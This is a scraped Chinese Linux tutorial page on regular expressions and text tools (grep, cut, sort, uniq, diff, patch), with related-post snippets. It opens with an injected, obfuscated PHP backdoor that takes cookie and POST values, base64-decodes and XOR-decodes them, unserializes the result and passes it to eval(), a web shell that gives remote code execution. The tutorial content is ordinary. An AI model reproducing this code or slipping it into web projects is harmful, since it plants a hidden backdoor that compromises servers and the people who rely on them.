$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux学习总结&day07-正则表达式&文本处理工具 | Linux运维部落

Linux学习总结&day07-正则表达式&文本处理工具

第一部分、正则表达式

    1、什么是正则表达式

    正则表达式就是处理字符串的方法,它是以行为单位来进行字符串的处理行为,正则表达式通过一些特殊符号的辅助,可以让用户轻易的达到查找、删除、替换某特定字符串的处理程序。

    正则表达式基本上是一种“表示法”,只要工具程序支持这种表示法,那么该程序就可以用来作为正则表达式的字符串处理之用。例如vi、grep、awk、sed等工具,因为他们有支持正则表达式,所以这些工具就可以使用正则表达式的特殊字符来进行字符串的处理。但例如cp、ls等命令并未支持正则表达式,所以就只能使用bash自身的通配符。

    最后应该注意的是,正则表达式和通配符是完全不一样的东西,因为通配符是代表的bash接口的一个功能,但是正则表达式是一种字符串处理的表示方式。

   

     2、正则表达式的分类

        REGEXP:由一类特殊字符及文本字符所编写的模式,其中有些字符(元字符)不表示字符字面意义,而表示控制或通配的功能
      程序支持: grep, vim, less,nginx等
      分两类:
            基本正则表达式: BRE
            扩展正则表达式: EREgrep -E, egrep
         正则表达式引擎:采用不同算法,检查处理正则表达式的软件模块PCRE( Perl Compatible Regular Expressions)
     元字符分类:字符匹配、匹配次数、位置锚定、分组
     man 7 regex

    3、基本正则表达式的元字符

        a、字符匹配:

            .:匹配任意单个字符

           []:匹配指定范围的任意单个字符

           [^]:匹配指定范围外的任意单个字符

            2.png

       b、匹配次数:用在要指定其出现的次数的字符的后面,用于限制其前面字符出现的次数,默认工作于贪婪模式,最大匹配。

3.png

        c、位置锚定

            ^:行首锚定,用于模式的最左侧

            $:行尾锚定,用于模式的最右侧

            ^PATTERN$:用于PATTERN来匹配整行

            ^$:空白行

            ^[[:space:]]*$:空白行或包含空白字符的行

            单词位置的锚定,非特殊字符组成的连续字符(字符串)都称为单词。

            \<或者\b:词首锚定,用于单词模式的左侧

            \>或者\b:词尾锚定,用于单词模式的右侧

            \<PATTERN\>:匹配整个单词

        d、分组及引用:

            分组: \(\):将一个或多个字符捆绑在一起,当作一个整体进行处理,如: \(root\)\+

            分组括号中的模式匹配到的内容会被正则表达式引擎自动记录于内部变量中,这些变量为:

                \1:模式从左侧起,第一个左括号以及与之匹配的右括号之间的模式所匹配的字符

                \2:模式从左侧起,第二个左括号以及与之匹配的右括号之间的模式所匹配的字符

    4、第一大文本处理工具-grep

        grep: Global search REgular expression and Print out the line.
        作用:文本搜索工具,根据用户指定的“模式”对目标文
        本逐行进行匹配检查;打印匹配到的行;
        模式:由正则表达式字符及文本字符所编写的过滤条件

            grep [OPTIONS] PATTERN [FILE…]
            grep root /etc/passwd
            grep "$USER" /etc/passwd

            grep '$USER' /etc/passwd
            grep `whoami` /etc/passwd

            –color=auto: 对匹配到的文本着色显示;
            -v: 显示不能够被pattern匹配到的行;

            -i: 忽略字符大小写

            -n: 显示匹配的行号

            -c: 统计匹配的行数

            -o: 仅显示匹配到的字符串;

            -q: 静默模式,不输出任何信息

            -A #: after, 后#行

            -B #: before, 前#行 -C #: context, 前后各#行

            -e:实现多个选项间的逻辑or关系

            grep –e ‘cat ’ -e ‘dog’ file

            -w:整行匹配整个单词

            -E:使用ERE

        5、grep练习

            例题一、查找特定字符串

                a、使用-n选项表示找到包含特定字符串,并显示其位于第几行

1.png

                b、使用-v选项表示找到不包含特定字符串,-n显示其位于第几行

2.png

             c、使用-i选项表示找到包含特定字符串不分大小写,-n并显示其位于第几行

3.png

        例题二、利用中括号[]来查找集合字符

            a、如果我们想查找test或者taste这两个单词时,可以发现他们有共同的tst的存在。这个时候我们可以这样做,其实[]里面不论有几个字符,他只能代表一个字符。

4.png

            b、如果我们不想要oo字符前面的g字符的化,我们可以使用集合字符的反向选择[^]来完成,注意[^]只是代表匹配到的一个字符。

5.png

            c、查找oo字符前面不是小写字母

6.png

            d、查找0-9的任意单个字符(工作贪婪模式,最大匹配,因此有下面的3183字符的匹配)

7.png

            e、 我们也可以使用[[:lower:]]和[[:digit:]]来替代上面c和d题的表示方法

8.png

     例题三、行首和行尾的字符锚定^$

            a、锚定行首是某个指定的字符,例如以the开头的行,或者以小写字母开头的行

            9.png

            b、锚定行首不是字母开头的行

            10.png

            c、锚定行尾以点号结尾的行(注意点号在正则表达式代表任意单个字符,所以此处需要转义)

            11.png

            

            d、使用行首和行尾可以锚定空白行^$

            12.png

    例题四、任意一个字符.与重复字符*

            a、点号代表匹配到任意的一个字符,而*代表前面的字符出现多次或者0次

            13.png

            b、匹配g开头或者g结尾的,或者同时g开头g结尾的字符串(开头的g可有可无,也可以多次)

            14.png

            c、.*两个匹配g与g之间有多个字符

            15.png 

    例题五、限定前面的字符出现的次数范围{}

            a、匹配前面的字符出现两次(最大匹配)

             16.png  

            b、找到goooooogle字符串的行(至少3个o滤除两个o的)

            17.png

    例题六、使用分组\(\),和\1两个结合取出两个oo之间有其他字符的行

            \1:此变量表示从第一个左括号匹配到的模式   

            18.png

    以上为grep的基本练习,具体详细的练习见本期博客的作业部分。

第二部分、文本处理工具

    一、文件内容查阅工具

    cat:由第一行开始显示文件内容

    tac:由最后一行开始显示,可以看出taccat的倒写形式

    rev:与cat类似,是cat的水平倒写的形式

    more:一页一页的显示文件的内容

    less:与more类似,但是比more好的是,它可以往前翻页

    head:只看头几行

    tail:只看结尾的几行

 

        1文件查看命令:cat,tac,rev

        cat [OPTION]… [FILE]…

        -E: 显示行结束符$

        -n: 对显示出的每一行进行编号

        -A:显示所有控制符

        -b: 非空行编号

        -s:压缩连续的空行成一行

  tac命令为cat命令相反的方向显示,而revcat显示内容每一行的相反显示,换句话说taccat垂直取反,而revcat水平取反。

 

        2、分页查看文件内容命令:moreless

      more: 分页查看文件
                    more [OPTIONS…] FILE…
               -d: 显示翻页及退出提示
                v less:一页一页地查看文件或STDIN输出
                查看时有用的命令包括:
                /文本 搜索 文本
                n/N 跳到下一个 或 上一个匹配
                less 命令是man命令使用的分页器

 

       3、显示文本前后几行的内容:headtail

     head [OPTION]… [FILE]…
          -c #: 指定获取前#字节
          -n #: 指定获取前#
                    – #: 指定行数

                tail [OPTION]… [FILE]…
                    c #: 指定获取后#字节
                    -n #: 指定获取后#
                    -f: 跟踪显示文件新追加的内容,常用日志监控

 

    二、抽取文本的工具cut和合并文件工具paste

cut [OPTION]… [FILE]…
        -d DELIMITER: 指明分隔符,默认tab
                -f FILEDS:
                #: #个字段
                #,#[,#]:离散的多个字段,例如1,3,6
                #-#:连续的多个字段, 例如1-6
        混合使用: 1-3,7
                -c 按字符切割
            –output-delimiter=STRING指定输出分隔符

    显示文件或STDIN数据的指定列
                cut -d: -f1 /etc/passwd
                cat /etc/passwd | cut -d: -f7
                cut -c2-5 /usr/share/dict/words

 

paste 合并两个文件同行号的列到一行
    paste [OPTION]… [FILE]…
        -d 分隔符:指定分隔符,默认用TAB
        -s : 所有行合成一行显示
        paste f1 f2
        paste -s f1 f2

 

 

    三、分析文本的工具

    文本数据统计: wc
    整理文本: sortuniq
    比较文件: diffpatch

 

    计数单词总数、行总数、字节总数和字符总数,可以对文件或STDIN中的数据运行
                $ wc story.txt
                39 237 1901 story.txt
        行数 字数 字符数
            使用 -l 来只计数行数
            使用 -w 来只计数单词总数
            使用 -c 来只计数字节总数
            使用 -m 来只计数字符总数 

把整理过的文本显示在STDOUT,不改变原始文件


        $ sort [options] file(s)
       常用选项
         -r 执行反方向(由上至下)整理
        -n 执行按数字大小整理
         -f 选项忽略( fold)字符串中的字符大小写
         -u 选项(独特, unique)删除输出中的重复行
         -t c 选项使用c做为字段界定符
        -k X 选项按照使用c字符分隔的X列来整理能够使用多次

 

        uniq命令:从输入中删除重复的前后相接的行
              uniq [OPTION]… [FILE]…
                -c: 显示每行重复出现的次数
                -d: 仅显示重复过的行
                -u: 仅显示不曾重复的行
                连续且完全相同方为重复
                常和sort 命令一起配合使用:先排序后计数sort userlist.txt | uniq -c

 

        比较两个文件之间的区别
                $ diff foo.conf-broken foo.conf-works
                < use_widgets = no
                    —
                > use_widgets = yes
                注明第5行有区别(改变)

 

    diff 命令的输出被保存在一种叫做补丁的文件中使用 -u 选项来输出统一的( unified” diff格式文
件,最适用于补丁文件。
patch 命令复制在其它文件中进行的改变(要谨慎使用!)
     适用 -b 选项来自动备份改变了的文件
     diff -u foo.conf-broken foo.conf-works > foo.patch
     patch -b foo.conf-broken foo.patch

以上部分文本处理工具相关命令的练习,见本期博客的练习题部分

原创文章,作者:AndyIvanXue,如若转载,请注明出处:http://www.178linux.com/30956

(0)
上一篇 2016-08-08 16:03
下一篇 2016-08-08 16:03

相关推荐

  • 15-2用户系统资源配额

    用户资源系统配额 在系统中,允许系统用户使用存储空间,但是不能限制的让用户随意使用存储空间,对用户存储空间的设定就是用户资源系统配额。 下面以/home 为例,通常如果系统中有一定的用户,会把用户的家目录作为一个单独的分区,从而实现更好的管理。下面具体讲解如何把用户家目录从根系统分区分离出来进行磁盘配额。 1、拿出一个未使用的分区,把用户家目录的数据拷贝到新…

    Linux干货 2016-12-02
  • 基于LNMP架构添加Memcached支持,并验证其缓存结果

    一 Memcached简介 Memcached是一个自由开源的,高性能,分布式内存对象缓存系统。它是一种基于内存的key-value存储,用来存储小块的任意数据(字符串、对象)。这些数据可以是数据库调用、API调用或者是页面渲染的结果。 Memcached简洁而强大。它的简洁设计便于快速开发,减轻开发难度,解决了大数据量缓存的很多问题。它的API兼容大部分流…

    Linux干货 2016-12-12
  • python面向对象学习第一周

     面向对象的思想 一个具体对象的属性方法,都有各个来源,来源于类,比如消化类,有各种各样的消化模式,人类的只是其中一种 另一种思想方法,类有各种属性方法,人类有很多的属性,一个人应该包括其中的属性,只是值上可能有不同,不同人群也有他们的特征属性和方法     类是对象的抽象,但是类本身也是对象, 对象是一个类的实例. 类的属性:类变量,对象方法,类方法,静态…

    Linux干货 2017-11-13
  • python使用paramiko 模块建立ssh通讯

    一 paramiko简介 下文是我从别人博客那里copy下来的: paramiko是用python语言写的一个模块,遵循SSH2协议,支持以加密和认证的方式,进行远程服务器的连接。 由于使用的是python这样的能够跨平台运行的语言,所以所有python支持的平台,如Linux, Solaris, BSD, MacOSX, Windows…

    Linux干货 2017-03-07
  • LVS管理平台使用手册(第一版)[原创]

     为了更好管理、维护LVS平台,本人基于Django+certmaster+func开发了一套管理平台,主要功能模块分为性能图表、数据中心、虚拟IP池、主机管理、监控模块等功能,基本上是按F5-LTM管理平台思路来设计,下面只要对这几大块功能进行说明。1、性能图表 功能说明:以小时、日、星期、月、年的图表展示LVS SERVER、VIP、SERVE…

    Linux干货 2015-03-28
  • CentOS7常用网络管理命令总结

    一、CentOS7网络接口命名策略(systemd)二、CentOS7的基础网络管理命令2.1 NetworkManager服务2.2 nmtui文本交互式工具2.3 nmcli命令行接口工具nmcli的语法说明NetworkManager整体状态显示显示所有连接或仅活动的连接显示所有设备的状态显示指定设备的所有连接属性添加动态的以太网连接(DHCP)添加静…

    Linux干货 2016-06-09